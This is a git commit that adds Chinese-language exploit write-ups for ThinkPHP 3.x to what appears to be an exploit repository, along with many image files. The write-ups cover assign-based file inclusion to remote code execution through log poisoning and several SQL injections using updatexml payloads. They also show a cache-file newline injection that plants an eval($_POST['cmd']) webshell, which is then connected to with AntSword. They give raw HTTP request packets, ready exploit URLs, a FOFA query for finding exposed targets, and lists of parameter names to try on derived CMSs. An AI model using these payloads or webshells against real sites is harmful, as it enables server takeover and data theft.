update thinkphp exp

This commit is contained in:
helloexp 2022-01-13 17:46:34 +08:00
parent 3bb60e2c18
commit 7c14d338f7
249 changed files with 5654 additions and 0 deletions

View File

@ -0,0 +1,251 @@
# ThinkPHP3.2.x RCE漏洞
## 漏洞描述
该漏洞是在受影响的版本中业务代码中如果模板赋值方法assign的第一个参数可控则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径造成任意文件包含执行任意代码。
## 漏洞影响
> ThinkPHP3.2.x
## FOFA
> title="ThinkPHP"
## 漏洞复现
ThinkPHP3.2.x_assign方法第一个变量可控=>变量覆盖=>任意文件包含=>RCE
漏洞url
```
http://x.x.x.x/index.php?m=Home&c=I ndex&a=index&value[_filename]=.\Application \Runtime\Logs\Home\21_06_30.log
```
在ThinkPHP3.2.3框架的程序中如果要在模板中输出变量需要在控制器中把变量传递给模板系统提供assig
n方法对模板变量赋值本漏洞的利用条件为assign方法的第一个变量可控。
下面是漏洞的demo代码
![image-20210712114239971](/resource/ThinkPHP3.2.xRCE漏洞/image-20210712114239971.png)
```
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
   public function index($value=''){
       $this->assign($value);
       $this->display();
   } }
```
#### demo代码说明
如果需要测试请把demo代码放入对应位置,代码位置:\Application\Home\Controller\IndexController.class.php
因为程序要进入模板渲染方法方法中,所以需要创建对应的模板文件,内容随意,模板文件位置:
> \Application\Home\View\Index\index.html
这里需要说明,模板渲染方法(display,fetch,show)都可以这里fetch会有一些区别因为fetch程序逻辑中会使用ob_start()打开缓冲区使得PHP代码的数据块和echo()输出都会进入缓冲区而不会立刻输出所以构造fetch方法对应的攻击代码想要输出的话需要在攻击代码末尾带上exit()或die();
#### 漏洞攻击:
测试环境:
> ThinkPHP3.2.3完整版 Phpstudy2016 PHP-5.6.27 Apache Windows10
debug模式开启或不开启有一点区别但是都可以。
> 1.debug模式关闭
写入攻击代码到日志中。错误请求系统报错:
![image-20210712115012345](/resource/ThinkPHP3.2.xRCE漏洞/image-20210712115012345.png)
请求数据包:
```
GET /index.php?m=--><?=phpinfo();?> HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=b6r46ojgc9tvdqpg9efrao7f66;
Upgrade-Insecure-Requests: 1
```
日志文件路径这里是默认配置的log文件路径ThinkPHP的日志路径和日期相关
> \Application\Runtime\Logs\Common\21_06_30.log
日志文件内容:
![image-20210712115017363](/resource/ThinkPHP3.2.xRCE漏洞/image-20210712115017363.png)
> 构造攻击请求:
> http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_06_30.log
![image-20210712115020758](/resource/ThinkPHP3.2.xRCE漏洞/image-20210712115020758.png)
> 2.debug模式开启
```
上面的错误请求日志方式同样可用。另外debug模式开启正确请求的日志也会被记录的到日志中但日志路径不一样。
```
请求数据包:
```
GET /index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?> HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=b6r46ojgc9tvdqpg9efrao7f66;
Upgrade-Insecure-Requests: 1
```
日志文件路径这里是默认配置的log文件路径
> \Application\Runtime\Logs\Home\21_06_30.log
> 构造攻击请求http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_06_30.log
![image-20210712115028851](/resource/ThinkPHP3.2.xRCE漏洞/image-20210712115028851.png)
> 3.寻找程序上传入口,上传文件
这种方式最可靠,上传具有恶意代码的任何文件到服务器上,直接包含其文件相对或绝对路径即可。
> http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./test.txt
#### 0x03 代码分析
程序执行流程:
![image-20210712115033452](/resource/ThinkPHP3.2.xRCE漏洞/image-20210712115033452.png)
1.功能代码中的assign方法中第一个变量为可控变量
**代码位置:\Application\Home\Controller\IndexController.class.php**
![image-20210712115036649](/resource/ThinkPHP3.2.xRCE漏洞/image-20210712115036649.png)
2.可控变量进入assign方法赋值给$this→tVar变量
**代码位置:\ThinkPHP\Library\Think\View.class.php**
![image-20210712115040065](/resource/ThinkPHP3.2.xRCE漏洞/image-20210712115040065.png)
3.赋值结束后进入display方法中display方法开始解析并获取模板文件内容此时模板文件路径和内容为空
**代码位置:\ThinkPHP\Library\Think\View.class.php**
![image-20210712115043397](/resource/ThinkPHP3.2.xRCE漏洞/image-20210712115043397.png)
4.程序进入fetch方法中传入的参数为空程序会去根据配置获取默认的模板文件位置./Application/Home/View/Index/index.html。之后系统配置的默认模板引擎为think所以程序进入else分支获取$this→tVar变量值赋值给$params之后进入Hook::listen方法中。
**代码位置:\ThinkPHP\Library\Think\View.class.php**
![image-20210712115046717](/resource/ThinkPHP3.2.xRCE漏洞/image-20210712115046717.png)
5.listen方法处理后进入exec方法中
**代码位置:\ThinkPHP\Library\Think\Hook.class.php**
![image-20210712115050155](/resource/ThinkPHP3.2.xRCE漏洞/image-20210712115050155.png)
6.进入exec方法中处理后调用Behavior\ParseTemplateBehavior类中的run方法处理$params这个带有日志文件路径的值。
**代码位置:\ThinkPHP\Library\Think\Hook.class.php**
![image-20210712115053613](/resource/ThinkPHP3.2.xRCE漏洞/image-20210712115053613.png)
7.程序进入run方法中一系列判断后进入else分支调用Think\Template类中的fetch方法对变量$_data为带有日志文件路径的变量值进行处理。
**代码位置:\ThinkPHP\Library\Behavior\ParseTemplateBehavior.class.php**
![image-20210712115057289](/resource/ThinkPHP3.2.xRCE漏洞/image-20210712115057289.png)
8.进入Think\Template类中的fetch方法获取缓存文件路径后进入Storage的load方法中。
**代码位置:\ThinkPHP\Library\Think\Template.class.php**
![image-20210712115100690](/resource/ThinkPHP3.2.xRCE漏洞/image-20210712115100690.png)
9.跟进到Storage的load方法中$_filename为之前获取的缓存文件路径$var则为之前带有_filename=日志文件路径的数组,$vars不为空则使用extract方法的EXTR_OVERWRITE默认描述对变量值进行覆盖之后include该日志文件路径造成文件包含。
**代码位置:\ThinkPHP\Library\Think\Storage\Driver\File.class.php**
![image-20210712115104231](/resource/ThinkPHP3.2.xRCE漏洞/image-20210712115104231.png)
覆写后:
![image-20210712115108347](/resource/ThinkPHP3.2.xRCE漏洞/image-20210712115108347.png)
最终导致:
> include .\Application\Runtime\Logs\Home\21_06_30.log
![image-20210712115113152](/resource/ThinkPHP3.2.xRCE漏洞/image-20210712115113152.png)
#### 0x05 ThinkPHP3.2.*各版本之间的差异:
> 1.ThinkPHP_3.2和ThinkPHP_3.2.1
**代码位置:\ThinkPHP\Library\Think\Storage\Driver\File.class.php 第68-79行**
```
/**
* 加载文件
* @access public
* @param string $filename 文件名
* @param array $vars 传入变量
* @return void
*/
public function load($filename,$vars=null){
if(!is_null($vars))
extract($vars, EXTR_OVERWRITE);
include $filename;
}
```
```
http://x.x.x.x/index.php?m=Home&c=Index&a=index&value[filename]=.\
```
> 2.ThinkPHP_3.2.2和ThinkPHP_3.2.3
**代码位置:\ThinkPHP\Library\Think\Storage\Driver\File.class.php**
```
/** * 加载文件 * @access public * @param string $filename 文件名 * @param array $vars 传入变量 * @return void */ public function load($_filename,$vars=null){ if(!is_null($vars)) extract($vars, EXTR_OVERWRITE); include $_filename; }
```
```
http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=.\
```
> 3.限定条件下参数的收集
很多利用Thinkphp二开的cmsvalue的值不确定以下列出常见的
```
paramnamevaluearrayarrinfolistpagemenusvardatamoudlemodule
```
最终payload例如
```
http://127.0.0.1/index.php?m=Home&c=Index&a=index&info[_filename]=.\
```

Binary file not shown.

After

Width:  |  Height:  |  Size: 115 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 172 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 130 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 208 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 140 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 144 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 148 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 174 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 186 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 238 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 231 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 293 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 198 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 183 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 159 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 235 KiB

View File

@ -0,0 +1,101 @@
# Thinkphp 3.1.3 sql注入漏洞
## 一、漏洞简介
## 二、漏洞影响
Thinkphp 3.1.3
## 三、复现过程
首先在网上下载对应的压缩包。
漏洞位于`ThinkPHP/Lib/Core/Model.class.php` 文件的parseSql函数
将这一条修复语句注释后开始一步步复现
![1.png](./resource/Thinkphp3.1.3sql注入漏洞/media/rId24.png)
在ThinkPHP目录下创建app文件夹后创建index.php
![2.png](./resource/Thinkphp3.1.3sql注入漏洞/media/rId25.png)
访问相应页面,显示这个则说明成功。
![3.png](./resource/Thinkphp3.1.3sql注入漏洞/media/rId26.png)
成功后app文件夹下会生成工程文件
![4.png](./resource/Thinkphp3.1.3sql注入漏洞/media/rId27.png)
然后开始配置数据库(在app/conf/config.php下配置)
```php
<?php
return array(
//'配置项'=>'配置值'
// 添加数据库配置信息
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => 'localhost', // 服务器地址
'DB_NAME' => 'security', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'root', // 密码
'DB_PORT' => 3306, // 端口
'DB_PREFIX' => 'think_', // 数据库表前缀
);
?>
```
下一步开始为模块定义一个控制器类:`IndexAction.class.php`。命名规范(模块名+Action.class.php
```php
<?php
// 本类由系统自动生成,仅供测试用途
class IndexAction extends Action {
public function index(){
//$this->name = 'thinkphp'; // 进行模板变量赋值
//$this->display();
$Data = M('Data'); // 实例化Data数据模型
$this->data = $Data->select();
$this->display();
$model=M('think_data');
$m=$model->query('select * from think_data where id="%s"',array($_GET['id']));
dump($m);exit;
}
}
```
创建视图:在`./Tpl`下创建`Index/index.html`
```html
<html>
<head>
<title></title>
</head>
<body>
//<p>hello, {$name}!</p>
<volist name="data" id="vo">
{$vo.id}--{$vo.data}<br/>
</volist>
</body>
</html>
```
> 在浏览器访问
`https://www.0-sec.org:9090/ThinkPHP_3.1.3_full/ThinkPHP/app/`
![5.png](./resource/Thinkphp3.1.3sql注入漏洞/media/rId28.png)
`https://www.0-sec.org:9090/ThinkPHP_3.1.3_full/ThinkPHP/app/?id=1" or 1 `
![6.png](./resource/Thinkphp3.1.3sql注入漏洞/media/rId29.png)
复现结束
## 参考连接
> https://www.freesion.com/article/3289785672/

Binary file not shown.

After

Width:  |  Height:  |  Size: 130 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 111 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 121 KiB

View File

@ -0,0 +1,198 @@
Thinkphp 3.2.3 select&find&delete 注入漏洞
==========================================
一、漏洞简介
------------
二、漏洞影响
------------
\<= 3.2.3
三、复现过程
------------
### 漏洞分析
通过github上的commit
对比其实可以粗略知道,此次更新主要是在`ThinkPHP/Library/Think/Model.class.php`文件中,其中对于`delete``find``select`三个函数进行了修改。
`delete`函数
![](./resource/Thinkphp3.2.3select&find&delete注入漏洞/media/rId25.png)
`select`函数
![](./resource/Thinkphp3.2.3select&find&delete注入漏洞/media/rId26.png)
`find`函数
![](./resource/Thinkphp3.2.3select&find&delete注入漏洞/media/rId27.png)
对比三个方法修改的地方都有一个共同点:
> 把外部传进来的`$options`,修改为`$this->options`,同时不再使用`$this->_parseOptions`对于`$options`进行表达式分析。
思考是因为`$options`可控,再经过`_parseOptions`函数之后产生了sql注入。
### 一 select 和 find 函数
`find`函数为例进行分析(`select`代码类似),该函数可接受一个`$options`参数,作为查询数据的条件。
`$options`为数字或者字符串类型的时候,直接指定当前查询表的主键作为查询字段:
if (is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
同时提供了对复合主键的查询,看到判断:
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
// 根据复合主键查询
......
}
要进入复合主键查询代码,需要满足`$options`为数组同时`$pk`主键也要为数组,但这个对于表只设置一个主键的时候不成立。
那么就可以使`$options`为数组,同时找到一个表只有一个主键,就可以绕过两次判断,直接进入`_parseOptions`进行解析。
if (is_numeric($options) || is_string($options)) {//$options为数组不进入
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
// 根据复合主键查找记录
$pk = $this->getPk();
if (is_array($options) && (count($options) > 0) && is_array($pk)) { //$pk不为数组不进入
......
}
// 总是查找一条记录
$options['limit'] = 1;
// 分析表达式
$options = $this->_parseOptions($options); //解析表达式
// 判断查询缓存
.....
$resultSet = $this->db->select($options); //底层执行
之后跟进`_parseOptions`方法,(分析见代码注释)
if (is_array($options)) { //当$options为数组的时候与$this->options数组进行整合
$options = array_merge($this->options, $options);
}
if (!isset($options['table'])) {//判断是否设置了table 没设置进这里
// 自动获取表名
$options['table'] = $this->getTableName();
$fields = $this->fields;
} else {
// 指定数据表 则重新获取字段列表 但不支持类型检测
$fields = $this->getDbFields(); //设置了进这里
}
// 数据表别名
if (!empty($options['alias'])) {//判断是否设置了数据表别名
$options['table'] .= ' ' . $options['alias']; //注意这里,直接拼接了
}
// 记录操作的模型名称
$options['model'] = $this->name;
// 字段类型验证
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //让$optison['where']不为数组或没有设置不进这里
// 对数组查询条件进行字段类型检查
......
}
// 查询过后清空sql表达式组装 避免影响下次查询
$this->options = array();
// 表达式过滤
$this->_options_filter($options);
return $options;
`$options`我们可控,那么就可以控制为数组类型,传入`$options['table']``$options['alias']`等等,只要提层不进行过滤都是可行的。
同时我们可以不设置`$options['where']`或者设置`$options['where']`的值为字符串,可绕过字段类型的验证。
可以看到在整个对`$options`的解析中没有过滤,直接返回,跟进到底层`ThinkPHP\Libray\Think\Db\Diver.class.php`,找到`select`方法,继续跟进最后来到`parseSql`方法,对`$options`的值进行替换,解析。
因为`$options['table']``$options['alias']`都是由`parseTable`函数进行解析,跟进:
if (is_array($tables)) {//为数组进
// 支持别名定义
......
} elseif (is_string($tables)) {//不为数组进
$tables = array_map(array($this, 'parseKey'), explode(',', $tables));
}
return implode(',', $tables);
当我们传入的值不为数组,直接进行解析返回带进查询,没有任何过滤。
同时`$options['where']`也一样,看到`parseWhere`函数
$whereStr = '';
if (is_string($where)) {
// 直接使用字符串条件
$whereStr = $where; //直接返回了,没有任何过滤
} else {
// 使用数组表达式
......
}
return empty($whereStr) ? '' : ' WHERE ' . $whereStr;
### 二 delete函数
`delete`函数有些不同,主要是在解析完`$options`之后,还对`$options['where']`判断了一下是否为空,需要我们传一下值,使之不为空,从而继续执行删除操作。
......
// 分析表达式
$options = $this->_parseOptions($options);
if (empty($options['where'])) { //注意这里,还判断了一下$options['where']是否为空,为空直接返回,不再执行下面的代码。
// 如果条件为空 不进行删除操作 除非设置 1=1
return false;
}
if (is_array($options['where']) && isset($options['where'][$pk])) {
$pkValue = $options['where'][$pk];
}
if (false === $this->_before_delete($options)) {
return false;
}
$result = $this->db->delete($options);
if (false !== $result && is_numeric($result)) {
$data = array();
if (isset($pkValue)) {
$data[$pk] = $pkValue;
}
$this->_after_delete($data, $options);
}
// 返回删除记录个数
return $result;
### 漏洞复现
针对`select()``find()`方法
,有很多地方可注,这里主要列举三个`table``alias``where`,更多还请自行跟踪一下`parseSql`的各个`parseXXX`方法,目测都是可行的,比如`having`,`group`等。
tablehttp://www.0-sec.org/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
aliashttp://www.0-sec.org/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
where: http://www.0-sec.org/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
![](./resource/Thinkphp3.2.3select&find&delete注入漏洞/media/rId31.png)
`delete()`方法的话同样,这里粗略举三个例子,`table`,`alias`,`where`,但使用`table``alias`的时候,同时还必须保证`where`不为空(详细原因后面会说)
where: http://www.0-sec.org/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias: http://www.0-sec.org/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
table: http://www.0-sec.org/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
![](./resource/Thinkphp3.2.3select&find&delete注入漏洞/media/rId32.png)
参考链接
--------
> <https://xz.aliyun.com/t/2629#toc-1>

View File

@ -0,0 +1,320 @@
Thinkphp 3.2.3 update注入漏洞
=============================
一、漏洞简介
------------
thinkphp是国内著名的php开发框架有完善的开发文档基于MVC架构其中Thinkphp3.2.3是目前使用最广泛的thinkphp版本虽然已经停止新功能的开发但是普及度高于新出的thinkphp5系列由于框架实现安全数据库过程中在update更新数据的过程中存在SQL语句的拼接并且当传入数组未过滤时导致出现了SQL注入。
二、漏洞影响
------------
\<= 3.2.3
三、复现过程
------------
这个问题很早之前就注意到了,只是一直没找到更常规的写法去导致注入的产生,在挖掘框架漏洞的标准是在使用官方的标准开发方式的前提下也会产生可以用的漏洞,这样才算框架级漏洞,跟普通的业务代码漏洞是有严格界线的。
thinkphp系列框架过滤表达式注入多半采用I函数去调用think\_filter
function think_filter(&$value){
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))
有没有相关tips来达到I函数绕过呢是可以的。
<http://document.thinkphp.cn/manual_3_2.html#update_data>
一般按照官方的写法thinkphp提供了数据库链式操作其中包含连贯操作和curd操作在进行数据库CURD操作去更新数据的时候
举例update数据操作。
![](./resource/Thinkphp3.2.3update注入漏洞/media/rId25.jpg)
where制定主键的数值save方法去更新变量传进来的参数到数据库的指定位置。
public function where($where,$parse=null){
if(!is_null($parse) && is_string($where)) {
if(!is_array($parse)) {
$parse = func_get_args();
array_shift($parse);
}
$parse = array_map(array($this->db,'escapeString'),$parse);
$where = vsprintf($where,$parse);
}elseif(is_object($where)){
$where = get_object_vars($where);
}
if(is_string($where) && '' != $where){
$map = array();
$map['_string'] = $where;
$where = $map;
}
if(isset($this->options['where'])){
$this->options['where'] = array_merge($this->options['where'],$where);
}else{
$this->options['where'] = $where;
}
return $this;
}
通过where方法获取where()链式中进来的参数值并对参数进行检查是否为字符串tp框架默认是对字符串进行过滤的
public function save($data='',$options=array()) {
if(empty($data)) {
// 没有传递数据,获取当前数据对象的值
if(!empty($this->data)) {
$data = $this->data;
// 重置数据
$this->data = array();
}else{
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
}
// 数据处理
$data = $this->_facade($data);
if(empty($data)){
// 没有数据则不执行
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
// 分析表达式
$options = $this->_parseOptions($options);
$pk = $this->getPk();
if(!isset($options['where']) ) {
// 如果存在主键数据 则自动作为更新条件
if (is_string($pk) && isset($data[$pk])) {
$where[$pk] = $data[$pk];
unset($data[$pk]);
} elseif (is_array($pk)) {
// 增加复合主键支持
foreach ($pk as $field) {
if(isset($data[$field])) {
$where[$field] = $data[$field];
} else {
// 如果缺少复合主键数据则不执行
$this->error = L('_OPERATION_WRONG_');
return false;
}
unset($data[$field]);
}
}
if(!isset($where)){
// 如果没有任何更新条件则不执行
$this->error = L('_OPERATION_WRONG_');
return false;
}else{
$options['where'] = $where;
}
}
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}
if(false === $this->_before_update($data,$options)) {
return false;
}
$result = $this->db->update($data,$options);
if(false !== $result && is_numeric($result)) {
if(isset($pkValue)) $data[$pk] = $pkValue;
$this->_after_update($data,$options);
}
return $result;
}
再来到save方法通过前面的数据处理解析服务端数据库中的数据字段信息字段数据类型再到\_parseOptions表达式分析获取到表名数据表别名记录操作的模型名称再去调用回调函数进入update
我们这里先直接看框架的where子单元函数之前网上公开的exp表达式注入就是从这里分析出来的结论
Thinkphp/Library/Think/Db/Driver.class.php
// where子单元分析
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);
if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
if(is_array($val[1])) {
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR'))){
$like = array();
foreach ($val[1] as $item){
$like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
}
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
}
}else{
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}
}elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
}elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
}
}elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
}else{
E(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
$count = count($val);
$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
if(in_array($rule,array('AND','OR','XOR'))) {
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0])) {
$whereStr .= $key.' '.$data.' '.$rule.' ';
}else{
$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
}
}
$whereStr = '( '.substr($whereStr,0,-4).' )';
}
}else {
//对字符串类型字段采用模糊匹配
$likeFields = $this->config['db_like_fields'];
if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
$whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
}
return $whereStr;
}
其中除了exp能利用外还有一处bind而bind可以完美避开了think\_filter
elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
这里由于拼接了\$val参数的形式造成了注入但是这里的bind表达式会引入:符号参数绑定的形式去拼接数据通过白盒对几处CURD操作函数进行分析定位到update函数insert函数会造成sql注入于是回到上面的updateh函数。
Thinkphp/Library/Think/Db/Driver.class.php
/**
* 更新记录
* @access public
* @param mixed $data 数据
* @param array $options 表达式
* @return false | integer
*/
public function update($data,$options) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if(strpos($table,',')){// 多表更新支持JOIN操作
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表更新支持order和lmit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
跟进execute函数
public function execute($str,$fetchSql=false) {
$this->initConnect(true);
if ( !$this->_linkID ) return false;
$this->queryStr = $str;
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));
}
if($fetchSql){
return $this->queryStr;
}
这里有处对\$this-\>queryStr进行字符替换的操作
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));
具体是什么,我这里写了一个实例:
常规的跟新数据库用户信息的操作:
Application/Home/Controller/UserController.class.php
<?php
namespace HomeController;
use ThinkController;
class UserController extends Controller {
public function index(){
$User = M("member");
$user['id'] = I('id');
$data['money'] = I('money');
$data['user'] = I('user');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
}
根据进来的id更新用户的名字和钱构造一个简单一个poc
id\[\]=bind&id\[\]=1'&money\[\]=1123&user=liao
当走到execute函数时sql语句为
UPDATE `member` SET `user`=:0 WHERE `id` = :1'
然后\$that = \$this
![](./resource/Thinkphp3.2.3update注入漏洞/media/rId26.jpg)
然后下面的替换操作是将":0"替换为外部传进来的字符串,这里就可控了。
![](./resource/Thinkphp3.2.3update注入漏洞/media/rId27.jpg)
替换后:
![](./resource/Thinkphp3.2.3update注入漏洞/media/rId28.jpg)
明显发现之前的`user`参数为:0然后被替换为了liao这样就把:替换掉了。
后面的:1明显是替换不掉的
![](./resource/Thinkphp3.2.3update注入漏洞/media/rId29.jpg)
那么我们将id\[1\]数组的参数变为0呢
id[]=bind&id[]=0%27&money[]=1123&user=liao
![](./resource/Thinkphp3.2.3update注入漏洞/media/rId30.jpg)
果然造成了注入:
### poc
money[]=1123&user=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))
![](./resource/Thinkphp3.2.3update注入漏洞/media/rId32.jpg)
参考链接
--------
> <https://www.anquanke.com/post/id/104847>

View File

@ -0,0 +1,126 @@
Thinkphp 3.2.3 缓存漏洞
=======================
一、漏洞简介
------------
二、漏洞影响
------------
Thinkphp 3.2.3
三、复现过程
------------
### 漏洞分析
- 直接跟进到`/Library/Think/Cache/File.class.php`文件看到set方法
```{=html}
<!-- -->
```
- /**
* 写入缓存
* @access public
* @param string $name 缓存变量名
* @param mixed $value 存储数据
* @param int $expire 有效时间 0为永久
* @return boolean
*/
public function set($name,$value,$expire=null) {
N('cache_write',1);
if(is_null($expire)) {
$expire = $this->options['expire'];
}
$filename = $this->filename($name);
$data = serialize($value);
if( C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data,3);
}
if(C('DATA_CACHE_CHECK')) {//开启数据校验
$check = md5($data);
}else {
$check = '';
}
$data = "<?php\n//".sprintf('%012d',$expire).$check.$data."\n?>";
//data参数经过序列化直接被写到文件内。
$result = file_put_contents($filename,$data);
if($result) {
if($this->options['length']>0) {
// 记录缓存队列
$this->queue($name);
}
clearstatcache();
return true;
}else {
return false;
}
}
```{=html}
<!-- -->
```
- 写一个调用缓存函数的的方法,运行一下。看看写进去什么
```{=html}
<!-- -->
```
- <?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$a=I('post.a3');
S('name',$a);
}
}
```{=html}
<!-- -->
```
- 在set方法下断点访问
`http://www.0-sec.org/index.php/Home/Index/index.html`
post数据`a3=aaaa`
![](./resource/Thinkphp3.2.3缓存漏洞/media/rId25.png)
可以看到\$data参数经过序列化直接写入php后缀的文件。F9运行可以看到`Application/Runtime/Temp/`文件夹下生成了php文件。
![](./resource/Thinkphp3.2.3缓存漏洞/media/rId26.png)
- 写入到文件被行注释了。
- `$data`参数未过滤`%0d%0a`可以用换行来绕过行注释尝试post数据
```{=html}
<!-- -->
```
- `a3=%0d%0aeval($_POST['cmd']);%0d%0a//`
![](./resource/Thinkphp3.2.3缓存漏洞/media/rId27.png)
- 之后用蚁剑连接成功
![](./resource/Thinkphp3.2.3缓存漏洞/media/rId28.png)
### 总结
### Thinkphp3.2.3
1. 漏洞文件位置(一般审计得出)
- `http://www.0-sec.org/index.php/Home/Index/get?id=%0d%0aeval($_POST['cmd']);%0d%0a//`
2. 缓存文件为缓存名的md5值这里采用md5name=b068931cc450442b63f5b3d276ea4297
- `http://www.0-sec.org/Application/Runtime/Temp/b068931cc450442b63f5b3d276ea4297.php`
3. 之后蚁剑连接。
参考链接
--------
